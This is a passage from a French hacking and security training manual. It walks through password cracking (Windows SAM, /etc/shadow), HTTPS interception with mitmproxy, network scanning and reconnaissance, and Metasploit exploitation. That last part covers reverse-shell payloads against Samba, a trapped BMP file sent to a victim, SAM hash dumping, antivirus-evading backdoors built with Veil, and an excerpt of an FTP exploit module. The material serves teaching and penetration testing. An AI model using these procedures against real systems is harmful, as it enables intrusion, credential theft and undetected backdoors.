• Si le test réussit (ici "4457806c" apparaît en fin de chaîne et également dans la table), on
récupère le mot de passe à l'origine de la chaîne qui a abouti à "4457806c ". Il s'agit ici de
"aaaa" (étape3).

• On génère la chaîne (étape 4) et on compare à chaque itération l'empreinte avec l'empreinte


recherchée. Le test est concluant, on trouve ici l'empreinte "9d4e1e23" dans la chaîne. Le
mot de passe courant ("xccd") est celui qui a engendré la chaîne : l'attaque a réussi.

ALLER PLUS LOIN :

Pourquoi "table arc-en-ciel ? Nous savons maintenant qu'une empreinte est liée à un mot de passe
par une réduction. L'association de toutes ces réductions nous donne un schéma qui peut être
représenté sous forme d'arc-en-ciel.

L'efficacité des tables diminue de façon significative lorsque les fonctions de hachage sont combinées
à un sel. Un sel est une valeur aléatoire qu'on ajoute au mot de passe avant de le hacher pour obtenir
une empreinte.

empreinte = h (mot_de_passe + sel)

9.2.5 Mots de passe Windows

Windows est le système d'exploitation le plus utilisé. Il est de plus en plus sécurisé, mais reste
toujours vulnérable.
Les mots de passe des comptes utilisateurs sont stockés dans un registre SAM (System Account
Management). Il existe une exception lors de l'utilisation d'un active directory (BDD LDAP) stocké
21/11/2019

alors sous C:\Windows\system32\config.


La base SAM utilise les formats de hachage LM & NTLM. Les fichiers ne peuvent pas être déplacés, ni
copiés mais il est possible de les dumper.

55
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

9.2.6 Mots de passe Linux

Le crack des sessions utilisateur Linux est plus complexe que pour Windows. L'authentification est
basée sur deux fichiers : /etc/passwd & /etc/shadow. La méthode de capture des mots de passe
consiste à utiliser un boot loader, comme grub, pour les identifier et les cracker par la suite.

9.2.7 Les outils

❖ Johnny

# Lancez l'outil "Johnny" dans un terminal


$ johnny

Une fois l'interface graphique lancée, nous allons ouvrir le fichier contenant les informationssur
l'authentification des utilisateurs : /etc/shadow et voir apparaitre les utilisateurs et leurs hashes.

Nous allons procéder à l'attaque du mot de passe de l'utilisateur "testman".

NDLR :

L'utilisateur "testman" a été crée pour l'exemple via les commandes suivantes :

# Création de l'utilisateur "testman"


$ useradd testman

# Création du mot de passe pour l'utilisateur "testman"


$ passwd testman

Pour commencer, nous nous rendons dans le menu "Options" puis "Wordlist". De là, nous indiquons
l'emplacement de notre fichier "wordlist_crack.lst" crée pour l'occasion et contenant une liste de
mot de passe aléatoire dont notre mot de passe.
21/11/2019

56
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Il ne nous reste plus qu'à "Débuter une nouvelle attaque" à l'aide du bouton et d'attendre le résultat
en espérant qu'il soit dans notre wordlist.

❖ Hashcat

L'outil hashcat permet de cracker différents types de hash.

Nous allons utiliser un fichier d'exemple de hashcat (/usr/share/doc/hashcat-data/examples) pour


notre démonstration.

# Plaçons nous dans le dossier d'exemple


$ cd /usr/share/doc/hashcat-data/examples

# Décompression de l'archive contenant le dictionnaire


$ gzip -d example.dict.gz

# Crackage des hashes contenus dans le fichier "example400.hash" à l'aide du dictionnaire


"example.dict"
# L'option -m permet de spécifier le type de hash (voir encadré "INFO" ci-dessous
# L'option --force permet de force le crackage de mot de passe en cas d'erreur
$ hashcat -m 400 FichierContenantLesHashes FichierContenantLeDictionnaire --force
21/11/2019

57
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

INFO :

Pour afficher la liste des correspondances entre le numéro et le type de hash, utilisez la commande
suivante :

$ hashcat -h

❖ Chntpw

Permet, entre autres, de supprimer le mot de passe d'un utilisateur de Windows. Nous devons
comme pour l'outil "ophcrack", avoir un accès à la base SAM via un CD Live de Kali, par exemple.

# Lancement de chntpw en mode interactif depuis un terminal


$ chntpw -i EmplacementDuFichierSAM

# Choisissez le menu pour éditer les données des utilisateurs


21/11/2019

58
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Choisissez maintenant l'utilisateur concerné en indiquant son RID, ici l'utilisateur testman

# Il ne reste plus qu'à choisir l'option pour mettre à zéro le mot de passe de l'utilisateur sélectionné
et de quitter le programme en sauvegardant les changements

❖ Ophcrack

Ophcrack va nous permettre de cracker la base SAM d'un poste Windows. Pour cela, il faut démarrer
la machine concernée sur un CD Live de Kali.

NDLR :

Pour passer le clavier en français, taper la commande suivante dans un terminal :

$ setxkbmap fr

Pour que notre système d'exploitation Windows se monte automatiquement, il semble falloir ouvrir
l'explorateur de fichiers (pcmanfm) et sélectionnez notre disque.
21/11/2019

59
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Une fois le démarrage terminé, rendez-nous à l'emplacement où s'est monté notre système
Windows (par défaut dans le dossier /media/root/XXXX/).

# Lancement de l'outil "ophcrack"


$ ophcrack

L'utilisation du logiciel est très simple. Débutons par le chargement de la base SAM en utilisant le
bouton "Load" puis "Encrypted SAM" situé à l'emplacement suivant : C:\Windows\system32\config

Cela nous retourne donc les utilisateurs disponibles avec les hashes des mots de passe
correspondant.

Deux cas de figures peuvent se présenter :

➢ Windows XP, Vista


Si nous utilisons l'un de ces deux systèmes nous pouvons continuer avec les tables présentes dans
ophcrack.

Pour cela, rendez-vous sur https://ophcrack.sourceforge.io/tables.php


et télécharger les tables désirées. Il ne reste plus qu'à les liées au
logiciel via le bouton "Tables" et à cliquer sur le bouton "Crack" pour
lancer la découverte du mot de passe.

➢ Toutes les versions de Windows

Cette méthode fonctionne avec toutes les versions de Windows car elle se base du hash NTLM
affiché par ophcrack lors du chargement de la base SAM.

La méthode est très simple et consiste à utiliser un site pour effectuer le déchiffrement du hash.
Nous utiliserons, pour notre exemple, le site https://hashkiller.co.uk/Cracker/NTLM pour nous
21/11/2019

fournir le résultat.

60
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

❖ Crunch

Crunch est un outil utile quand on a une idée du mot de passe utilisé. Il vient créer une liste de mot
de passe en fonction des éléments qu'on lui indique : nombre de caractère mini / maxi, utilisation de
MAJUSCULE, minuscules, chiffres ou encore caractères spéciaux. Pour plus de détail sur les options,
n'oubliez pas de consulter le manuel de "crunch" via la commande : man crunch

# Génération d'une liste de mot de passe commençant par le mot "pass" et suivi de 2 caractères de
types chiffres donc la taille est de 6 caractères.
$ crunch tailleMini tailleMaxi -t TypeDeCaractèreDuMotDePasse > FichierContenantLaListeGénérée

INFO :

▪ @ représente une minuscule


▪ , représente une majuscule
▪ % représente un chiffre
▪ ^ représente un caractère spécial

❖ Hash-identifier
21/11/2019

Comme son nom l'indique Hash-identifier permet d'identifier le type de hashes.

# Lancement de hash-identifier
$ hash-identifier

61
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

❖ Findmyhash

findmyhash permet de trouver le hash sur les bases de données publique.

# Lancement de findmyhash
# La notation du type de hash est accessible via le manuel de la commande : man findmyhash
# L'option -h doit être suivi du hash à déchiffrer
$ findmyhash typeDeHash -h Hash

NDLR :

Il existe des sites spécialisés dans le déchiffrage de hash.

● https://passwordrecovery.io
● https://crackstation.net

9.3 MITM Proxy

9.3.1 Introduction
21/11/2019

Mitmproxy est un outil rapide, efficace et puissant permettant de trouver différentes vulnérabilités
coté client en examinant le trafic HTTPS ou encore en rejouant les requêtes altérées auparavant.

62
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Voici une liste des caractéristiques principales :

➢ Intercepter les requêtes et les réponses HTTP & HTTPS et les modifier à la volée
➢ Sauvegarder les conversations HTTP complètes pour les rejouer et les analyser plus tard.
➢ Rejouer le côté client d'une conversation http
➢ Rejouer les réponses HTTP d'un serveur précédemment enregistré
➢ Inverser le mode proxy pour rediriger le trafic vers un serveur spécifié
➢ Mode proxy transparent sous OSX et Linux
➢ Apporter des changements scriptés au trafic HTTP à l'aide de Python
➢ Les certificats SSL/TLS pour l'interception sont générés à la volée.

9.3.2 Mise en situation de mitm

# Lancement de l'outil mitmproxy dans un terminal


$ mitmproxy

Pour notre exemple, nous allons utiliser la partie "filtre d'interception". Pour cela nous allons taper la
lettre "i" dans le terminal mitmproxy.

L'option "~q" va nous permettre d'inspecter toutes les requêtes avant de leurs données le droit de
"forwarder"
21/11/2019

63
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

INFO :

Voici la liste des options disponibles :

NDLR :

Pour la partie suivante, le proxy de votre navigateur doit être activé 21/11/2019

64
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

L'étape suivante consiste à ouvrir un site web : ici https://www.alphorm.com pour observer que
notre requête se retrouve bien en attente dans l'outil mitm.

En cliquant dessus, nous avons accès à plus de détails sur cette requête.

INFO :

Pour modifier la requête, il suffit d'appuyer sur la touche "e" et de choisir dans la liste l'élément à
modifier.

Nous pouvons ainsi, par exemple, modifier une requête exécutant un script java et le remplacer par
un autre que nous avons piéger avec Beef par exemple.

NDLR :

La touche "q" permet de revenir en arrière


21/11/2019

65
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Pour "forwarder" (faire suivre) chaque requête et ainsi les transmettre au serveur, il suffit d'appuyer
sur la touche "a"

ALLER PLUS LOIN :

Grace à l'outil mitmproxy, nous allons pouvoir analyser les requêtes HTTPS, surtout les pages de
formulaire d'identification. Par le même principe qu'au-dessus, nous pouvons retrouver le couples
login / mot de passe que nous avons indiqué.

Cela nous apprend donc qu'il ne faut pas faire confiance à d'autres réseaux que le vôtre, que le
protocole HTTPS ne veut pas dire sécurisé et que l'usage d'un VPN est fortement recommandé sur
des réseaux qui ne sont pas de confiance.

9.4 Scanning

9.4.1 lbd

Cet outil va nous permettre de détecter si un équilibreur de charge (load balancing) est utilisé sur un
domaine défini. Grâce à cette information, nous pouvons savoir si une attaque par DDOS aura un réel
21/11/2019

impact.

# Lancement de l'outil lbd


$ lbd NomDuSiteAScanner

66
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

9.4.2 xprobe2

Xprobe2 nous permettra de connaitre le système d'exploitation utilisé par notre site et bien plus
encore : version du kernel, … Il est extrêmement puissant pour "bypasser" les firewalls, IDS ou encore
NIDS comparer à l'outil nmap.

# Lancement de l'outil xprobe2 sur notre cible


$ xprobe2 AdresseIPDeNotreCible

21/11/2019

67
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

NDLR :

Il est possible de scanner l'intégralité d'un réseau à l'aide de la commande suivante :

$ xprobe2 AdresseDuReseau/CDIR

Il est possible de vérifier les résultats de l'outil xprobe2 à l'aide de la commande nmap suivante :

$ nmap -sS -O AdresseDeLaCible

POUR DE VRAI :

J'ai rencontré un bug, sous Kali et Debian, que je n'ai pas réussi à corriger, surement lié à un problème
UTF.

9.4.3 nmap

Pour aller un peu plus loin dans nmap, nous allons l'utiliser avec des scripts.

# Commande nmap avec une utilisation de script


$ nmap -sV -script=NomDuScript AdresseDeLaCible

ALLER PLUS LOIN :

Une liste de script [NSE : Nmap Scripting Engine] est disponible à cette adresse :
21/11/2019

https://nmap.org/nsedoc/

68
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Pour notre exemple, nous allons utiliser le script "Vulscan" qui va nous permettre d'afficher les
vulnérabilités de notre site de façon détaillée. Voici le lien où vous pourrez télécharger ce script :
https://github.com/scipag/vulscan/archive/master.zip

# Téléchargement de l'archive de vulscan


$ wget https://github.com/scipag/vulscan/archive/master.zip

# Décompression de l'archive
$ unzip master.zip

# Déplacement du dossier "vulscan-master" dans le dossier "scripts" de l'outil nmap


$ mv vulscan-master/ /usr/share/nmap/scripts/

# Lancement de la commande associée


$ nmap -sV --script=vulscan-master/vulscan.nse AdresseIPDeLaCible

9.4.4 metasploit

# Lancement de la console metasploit


$ msfconsole

Nous pouvons commencer par rechercher les modules de scan dans metasploit à l'aide de la
commande : search scanner
21/11/2019

69
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Continuons en recherchant si le port 80 [HTTP] est ouvert sur notre cible. Pour cela voici les
commandes a indiquées :

$ use auxiliary/scanner/portscan/syn

# N'oublions pas d'afficher les options pour renseigner les informations dont nous avons besoin
$ show options

# Il ne nous reste plus, avant de lancer notre scan, qu'à indiquer l'interface réseau à utiliser, l'adresse
IP de la cible, le port à scanner, et éventuellement à modifier le nombre de threads.

$ set interface NomDeLInterface


$ set rhosts AdresseIPDeLaCible
$ set ports NuméroDuOuDesPortsAScanner
$ set threads NombreDeThreads
$ run

Allons un peu plus loin en recherchant les éventuels ports TCP ouvert sur notre cible. Pour cela voici
21/11/2019

les commandes a indiquées :

$ use auxiliary/scanner/portscan/tcp

70
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Comme précédemment, nous affichons la liste des options à compléter.


$ show options

# Indiquez ici l'adresse IP de la cible uniquement, avant de lancer notre scanner

$ set rhosts AdresseIPDeLaCible


$ run

Une dernière option que nous allons détailler, consiste à sonder les séquences IPID des hôtes et à la
classifier. Pour cela voici les commandes à indiquer :

$ use auxiliary/scanner/ip/ipidsaq

# Comme précédemment, nous affichons la liste des options à compléter.


$ show options
21/11/2019

71
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Indiquez ici l'interface réseau à utiliser ainsi que l'adresse IP de la cible

$ set interface NomDeLInterface


$ set rhosts AdresseIPDeLaCible
$ run

9.4.5 Nessus

Nous considérons que l'outil Nessus est installé sur votre système. Commençons par nous connecter
à Nessus en utilisant l'adresse suivante : https://127.0.0.1:8834

3 types de scans nous intéresse :

▪ Host Discovery : qui va nous permettre de découvrir les machines


présentes sur un réseau définie.

▪ Basic Network Scan : qui va effectuer par défaut l'analyse de


vulnérabilité sur les ports les plus courant.

▪ Advanced Scan : qui lui va plus loin

Ces 3 méthodes regorgent d'options intéressantes : planification du scan, notification par mail,
définition des types de vulnérabilités recherchées, …

Nous allons réaliser un "Basic Network Scan" pour notre exemple :

➢ Nous indiquons le nom souhaité pour notre scan de vulnérabilité ainsi que l'adresse IP de la
cible concernée
21/11/2019

72
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

➢ Une fois notre configuration sauvegardée, n'oubliez pas de lancer votre scan à l'aide de la
fléche :

➢ Une fois le scan terminé, nous pouvons voir un résumé des vulnérabilités trouvées avec leurs
criticités

➢ Pour plus de détail, il est possible de cliquer sur l'adresse IP de la cible.

➢ Pour chaque faille trouvée, nous pouvons accéder à des détails comme la description de la
vulnérabilité, la solution pour la corriger, des liens de référence et même une session
"Output" qui nous permet d'éliminer tout faux-positif.
21/11/2019

73
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

➢ Pour tester cette vulnérabilité, nous allons essayer de nous connecter avec les informations
fournies dans la partie "Output"

➢ Nous voyons donc que cette vulnérabilité est exploitable !!

21/11/2019

74
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

ALLEZ PLUS LOIN :

Il est possible d'exporter le scan en différents formats : PDF, HTML, CSV, … à l'aide du bouton
"Report" et "Export"

Pour créer un rapport clair et précis comme ci-dessous :

9.4.6 Recon-ng Framework

Il s'agit d'un outil "Next Generation Web Reconnaissance", codé en python et disponible sur le dépôt
du créateur Bitbucket. Il est, de plus, diffusé sous licence GPL. Ce logiciel va réaliser, de façon efficace
et rapide, une reconnaissance publique de notre cible

# Lancement de l'outil "recon-ng"


$ recon-ng

# Création du workspace
$ workspaces add facebook

# Ajout du domaine à tester


$ add domains facebook.com

# Vérification de l'ajout du domaine


$ show domains
21/11/2019

75
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Chargement de l'outil "netcraft" qui nous permettra d'analyser les sous-domaines de facebook
$ load netcraft

# Pour lancer le scan, utiliser la commande suivante :


$ run

# Le module "brute-host" va nous permettre de faire un lien entre les noms de domaine et les sous-
domaines au niveau du DNS
$ load recon/domains-hosts/brute_hosts
$ run

# Le module "brute-suffix" affiche tous les suffixes du domaine facebook


$ load recon/domains-domains/brute_suffix
$ run
21/11/2019

76
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Le module "resolve" permet de récupérer les adresses en fonction des noms de domaine
$ load recon/hosts-hosts/resolve
$ run

# Affichage de la base de donnée des hosts


$ show hosts

# Le module "reverse_resolve" permet de récupérer le nom des hosts en fonction des adresses IP
déjà en notre possession
$ load recon/hosts-hosts/reverse_resolve
$ run

# Le module "freegeoip" va nous permettre de géolocaliser les adresses du domaine


$ load recon/hosts-hosts/freegeoip
$ run
21/11/2019

77
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

POUR DE VRAI :

Dans cette dernière partie, j'ai rencontré des problèmes avec l'utilisation de l'outil "recon-ng". Les
modules ne semblaient pas vouloir se charger avec ma VM de Kali. J'ai donc installé recon-ng sur ma
VM Debian (apt install recon-ng) pour résoudre ce problème.
De plus le module "freegeoip" ne semblait pas intégré à ma version installée sous ma Debian. J'ai
essayé de l'ajouter manuellement à l'aide d'un dépôt GitHub mais cela n'a rien changé.

ALLER PLUS LOIN :

On peut voir les différentes options disponibles à l'aide de la commande suivante :

$ load recon

9.4.7 Openvas

# Installation du paquet "openvas"


$ apt install openvas

# Installation de l'outil "openvas"


# !! L'installation peut prendre un certain temps !!
# Un utilisateur "admin" et un mot de passe aléatoire sont créés en fin d'installation
$ openvas-setup

# Vérification de l'installation
$ openvas-check-setup
21/11/2019

78
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Une fois, l'installation d'openvas terminée, vous pourrez vous connecter avec vos identifiants à
l'adresse suivante : https://localhost:9392

Notre outil est divisé en plusieurs menus :

o Dashboard : visualisation des diverses informations


o Scans : regroupe les tâches effectuées, les rapports, les résultats, les notes
o Assets : regroupe les hosts à scanner
o SecInfo : Liste les failles de nos bases de données : CVE, CPE, CERT, …
o Configuration : Gestion de la liste des ports à scanner, les cibles, les alertes par mail,
les formats de rapport, les scanners, les filtres, les tags, les permissions, …
o Extras : Gestion des éléments supprimés, les performances, calculatrice du niveau de
risque
o Administration : Gestion des utilisateurs, groupes, rôles
o Help : Affichage de l'aide

Commençons maintenant par la création d'un scan vers notre cible.

# Menu Scans -> Tasks -> Créer un scan (mode wizard) et indiquez seulement adresse de la cible
21/11/2019

79
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

NDLR :

Au vu de la taille de notre base de données, le scan peut prendre un temps important

Une fois le scan terminé, nous pouvons consulter ou encore exporter le rapport généré via le menu
Scans -> Report

Chaque vulnérabilité est classée en différents critères : criticité, ports utilisés, hosts, … Un clic sur la
faille permet d'avoir un détail complet : description, impact, solution, méthode de vulnérabilité
utilisée, références ….

21/11/2019

80
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

9.5 Exploitation

9.5.1 Les cibles

Pour rappel, l'exploitation doit être précise, rapide et suivre une méthodologie. C'est pour cela que le
pentesteur doit absolument favoriser le "threat modeling" [Modélisation des menaces] afin d'avoir
une attaque la plus efficace possible.

Tout d'abord, il est judicieux de définir le type de cible en 3 parties : selon le niveau d'information
que la cible peut nous rapporter mais aussi selon le but de notre pentest :

▪ Primaire
▪ Secondaire
▪ Tertiaire

9.5.2 Threat Modeling

Le "threat modeling" doit être effectué à chaque réalisation d'un pentest. Le but est d'identifier,
dénombrer et classer par ordre de priorité les vulnérabilités possibles en fournissant une analyse des
vecteurs d'attaque les plus probables et des actifs les plus recherchés. Le tout du point de vue d'un
attaquant hypothétique.
La modélisation des menaces répond à des questions telles que "Où sont les actifs de grande valeur ?
Quelles sont les attaques le plus vulnérable ? Quelles sont les menaces les plus pertinentes ? et y a-t-
il un vecteur d'attaque qui pourrait passer inaperçu ?

21/11/2019

81
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

9.5.3 Mise en pratique de quelques outils

➢ Rechercher, récupérer et exécuter des exploits

La première chose que nous pouvons réaliser est d'utiliser la command "ping" pour tester la
présence de notre cible

Passons ensuite à la récupération des services tournant cette machine à l'aide l'outil "nmap"

Pour la suite, nous allons nous concentrer sur le service Samba (très souvent vulnérable). Metasploit
va nous aider à trouver une vulnérabilité.

# Lancement de metasploit
$ msfconsole

# Recherche des vulnérabilités assignées à samba


$ search samba 21/11/2019

82
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

INFO :

Il est recommandé d'utiliser une vulnérabilité ayant un "rank" de type excellent pour maximiser nos
chances d'exploitation.

Pour en savoir plus sur un exploit, il est possible d'utiliser la commande "info"

$ info /exploit/multi/samba/usermap_script

# Utilisation de l'exploit "usermap_script"


$ use /exploit/multi/samba/usermap_script

# Affichage des options


$ show options

# Définition des options


$ set RHOSTS AdresseIpDeLaCible
$ set RPORT NumeroDePort

# Choix d'un payload pour la connexion


$ set PAYLOAD cmd/unix/reverse

# Visualisation des options du payload


$ show options

# Définition des options du payload


21/11/2019

$ set LHOST AdresseIpDeLAttaquantKali

# Lancement de l'exploit
$ exploit
83
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Nous avons donc accès à un shell connecté sur notre machine cible. Nous pouvons donc utiliser des
commandes tels que hostname, uname -a ou encore whoami.

➢ Exploitation avancée avec Metasploit

Nous allons exploiter une vulnérabilité (buffer overflow) du logiciel Chasys Draw IES (fichier
d'installation dans les ressources Alphorm) via metasploit.
21/11/2019

# Commençons par lancer la console metasploit


$ msfconsole

84
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Recherchons un exploit connu pour ce logiciel


$ search chasys

NDLR :

N'oubliez pas d'utiliser la commande "info" pour avoir les détails sur cet exploit :

$ info exploit/windows/fileformat/chasys_draw_ies_bmp_bof

# Chargement de l'exploit
$ use exploit/windows/fileformat/chasys_draw_ies_bmp_bof

# Affichage des options


$ show options

# Choix d'un payload pour la connexion


$ set PAYLOAD windows/meterpreter/reverse_tcp

# Visualisation des options du payload


$ show options

# Définition des options du payload


$ set LHOST AdresseIpDeLAttaquantKali

# Lancement de l'exploit
21/11/2019

$ exploit

85
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Nous remarquons donc que notre fichier "piégé" a été crée dans le dossier
"/root/.msf4/local/msf.bmp". Il ne reste plus qu'à envoyer ce fichier à la victime.

Nous allons nous mettre en mode écoute, dans l'attente d'une connexion, via le fichier transmis par
notre cible

# Chargement de l'exploit
$ use exploit/multi/handler

# Choix d'un payload pour la connexion


$ set PAYLOAD windows/meterpreter/reverse_tcp

# Visualisation des options du payload


$ show options

# Définition des options du payload


$ set LHOST AdresseIpDeLAttaquantKali

# Lancement de l'exploit
$ exploit
21/11/2019

86
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Lorsque la victime ouvre notre image piégée, une connexion s'initialise et nous permet un grand
nombre d'action.

Voici une liste non exhaustive des possibilités d'exploitation sur notre cible :

❖ Dumper le contenu de la base SAM : $ hashdump


21/11/2019

87
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

❖ Récupérer un screenshot : $ screenshot

❖ Récupérer des informations sur le système : $ sysinfo

ALLER PLUS LOIN :

Pour avoir accès à la liste complète des possibilités d'exploitation, nous pouvons utilisés la
commande "info" :

$ info

➢ Team Server Armitage

Il est possible d'utiliser l'outil "Armitage" de façon partagée avec votre équipe. Pour cela, voici les
commandes à utiliser :

# Rendez-vous dans le dossier "Armitage"


21/11/2019

$ cd /usr/share/armitage

# Lancement de teamserver
$ ./ teamserver AdresseIP MotDePasse

88
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

NDLR :

Le port par défaut utilisé par teamserver est le 55553

Il ne reste plus qu'à informer notre équipe de l'adresse et du mot de passe à utiliser.

➢ Scripting avec Armitage

# Commençons par lancer l'outil "Armitage"


$ armitage

NDLR :

Si vous avez l'erreur suivante :

Lancer la commande : $ msfdbinit pour initier la base de données et corriger ce problème

# Pour accéder à la console de scripting, rendez-vous dans le menu "View" → "Script Console"
21/11/2019

89
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Un onglet "cortana" apparait. Cortana est un langage de scripting proche du perl. La commande
"help" permet de nous afficher plus d'informations dont les commandes disponibles, n'hésitez pas à
consulter cette documentation :
http://fastandeasyhacking.com/download/cortana/cortana_tutorial.pdf

ALLER PLUS LOIN :

Il est possible en effectuant quelques recherches sur le net d'accéder à des scripts déjà existant
comme par exemple : https://github.com/rsmudge/cortana-scripts

Pour les intégrer à Armitage, rien de plus simple, il vous suffira de télécharger le fichier avec
l'extension .cna. Ensuite via le menu "Armitage" →"Script" puis à l'aide du bouton "Load", il ne
restera plus qu'à sélectionner notre fichier.cna

Dans la partie suivante, nous allons créer un script qui viendra scanner certains ports à chaque ajout
d'hôte dans Armitage.

Script scan.cna :

# MSF port scanner

on host_add {
println("[*] MSF Port Scanner New Host OpenPorts on $1");
$console = console();
cmd($console, "use auxiliary/scanner/portscan/tcp");
cmd($console, "set THREADS 12");
cmd($console, "set PORTS 139, 143");
# enter other ports as required
cmd($console, "set RHOSTS $1");
cmd($console, "run -j");
cmd($console, "use auxiliary/scanner/discovery/udp_sweep");
cmd($console, "set THREADS 12");
cmd($console, "set BATCHSIZE 256");
cmd($console, "set RHOSTS $1");
cmd($console, "run -j");
db_sync();
21/11/2019

90
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

Comme dans la procédure précédente, nous allons charger notre script "scan.cna" dans Armitage.
Lors de l'ajout d'un nouvel hôte, on s'aperçoit que notre script se lance automatiquement.

➢ Bypasser détection d'antivirus

Pour nous permettre de créer des backdoors indétectables par les antivirus ou encore les IDS, nous
allons utiliser l'outil "Veil".

Pour débuter, nous allons détailler l'installation de cet outil :

# Installation du paquet "veil"


$ apt install veil

# Installation et configuration du programme (veuillez être patient, l'installation est assez longue)
$ /usr/share/veil/config/setup.sh --force --silent

# Lancement de l'outil
$ veil

# Nous utiliserons l'outil "Evasion"


$ use 1
21/11/2019

Un nouveau menu s'affiche et nous indique les commandes et le nombre de payload disponibles.

91
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Enumération des différents types de payloads


$ list

INFO :

Il est possible d'avoir plus de détail sur un payload en utilisant la commande "info"

$ info NuméroDuPayload

# Nous allons choisir le payload "c/meterpreter/rev_tcp.py"


$ use 7
21/11/2019

92
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

# Définition des options du payload


$ set LHOST AdresseIpDeLAttaquantKali

# Lancement de la création de notre fichier piégé


$ generate

Il ne nous restera plus qu'à indiquer le nom du fichier de sortie pour le générer et voir s'affiche son
emplacement.
21/11/2019

93
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

INFO :

Nous pouvons, par précaution, vérifier que le hash de notre payload n'apparait pas dans sur le site
VirusTotal.

$ checkvt

POUR DE VRAI :

J'ai souhaité analyser notre fichier généré avec un antivirus et malheureusement il a été détecté
comme infecté. Je l'ai donc désactivé pour le test, lancer msfconsole en mode écoute pour vérifier son
bon fonctionnement.

➢ Scripting Metasploit

Nous allons détailler, sous forme de commentaire, le script "easyftp_mkd_fixret.rb"

$ gvim /usr/share/metasploit-framework/modules/exploits/windows/ftp/easyftp_mkd_fixret.rb

// Commentaire sur l'exploit


##
# This module requires Metasploit: https://metasploit.com/download
21/11/2019

# Current source: https://github.com/rapid7/metasploit-framework


##

// Importation des différentes options de l'exploit (LHOST, RHOSTS, …)

94
Hamza KONDAH Joan LE DÛ
HACKING ET SECURITE: MAITRISER LES TECHNIQUES AVANCEES

class MetasploitModule < Msf::Exploit::Remote

// Classification du niveau de l'exploit


Rank = GreatRanking

// Importation des différentes options du protocole FTP de l'exploit


include Msf::Exploit::Remote::Ftp

// Définition de notre exploit : Nom, Description, Auteur, Référence, Plateforme, Versions utilisées
def initialize(info = {})
super(update_info(info,
'Name' => 'EasyFTP Server MKD Command Stack Buffer Overflow',
'Description' => %q{
This module exploits a stack-based buffer overflow in EasyFTP Server 1.7.0.11
and earlier. EasyFTP fails to check input size when parsing 'MKD' commands, which
leads to a stack based buffer overflow.

NOTE: EasyFTP allows anonymous access by default. However, in order to access the
'MKD' command, you must have access to an account that can create directories.

After version 1.7.0.12, this package was renamed "UplusFtp".

This exploit utilizes a small piece of code that I\'ve referred to as 'fixRet'.
This code allows us to inject of payload of ~500 bytes into a 264 byte buffer by
'fixing' the return address post-exploitation. See references for more information.
},
'Author' =>
[
'x90c <geinblues[at]gmail.com>', # original version
'jduck' # port to metasploit / modified to use fix-up stub (works with bigger payloads)
],
